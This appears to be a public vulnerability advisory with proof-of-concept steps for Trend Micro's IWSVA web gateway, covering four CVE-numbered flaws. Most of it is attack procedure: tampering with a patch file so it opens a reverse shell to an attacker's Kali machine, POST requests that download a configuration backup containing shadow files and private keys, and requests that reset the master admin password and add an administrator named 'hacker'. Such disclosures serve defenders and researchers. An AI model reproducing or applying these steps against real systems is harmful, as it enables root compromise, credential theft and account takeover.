==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.
==================
#Vulnerabilities:-
==================
Remote Command Execution, Sensitive Information Disclosure, Privilege Escalation and Stored Cross-Site-Scripting (XSS)
========================
#Vulnerability Details:-
========================
#1. Remote Command Execution Vulnerability (CVE-2016-9269):-
The Trend Micro IWSVA can be managed through a web based management console which runs on port#1812. A least privileged user who could just run reports, can run commands on the server as root and gain a root shell.
Proof of Concept:-
a. Download the patch from here.
b. Edit the 'startgate_patch_apply.sh' and add your Kali machine ip to get reverse shell.
c. Calculate the MD5 hash of 'stargate_patch.tgz'
md5sum stargate_patch.tgz
d. Update the 'MD5SUM.txt' with new hash.
e. Listen on port#443 on you Kali machine.
f. Upload the patch to the target server:
http://target_server:1812/servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload
g. You should have a root shell now.
#2. Sensitive Information Disclosure Vulnerability (CVE-2016-9314):-
The web management console allows administrators to backup and download current configuration of the appliance to their local machine. A low privileged user can abuse the ‘ConfigBackup’ functionality to backup system configuration and download it on his local machine. This backup file contains sensitive information like passwd/shadow files, RSA certificates, Private Keys and Default Passphrase etc.
Exploitation:-
A. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=export HTTP/1.1
Host: <Target_IP>:1812

B. Send this POST request to download the backup file from server:
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1

#3. Privilege Escalation Vulnerability (CVE-2016-9315):-
A. Change Master Admin's password:
i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812

B. Add a new administrator account 'hacker'
i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)
POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
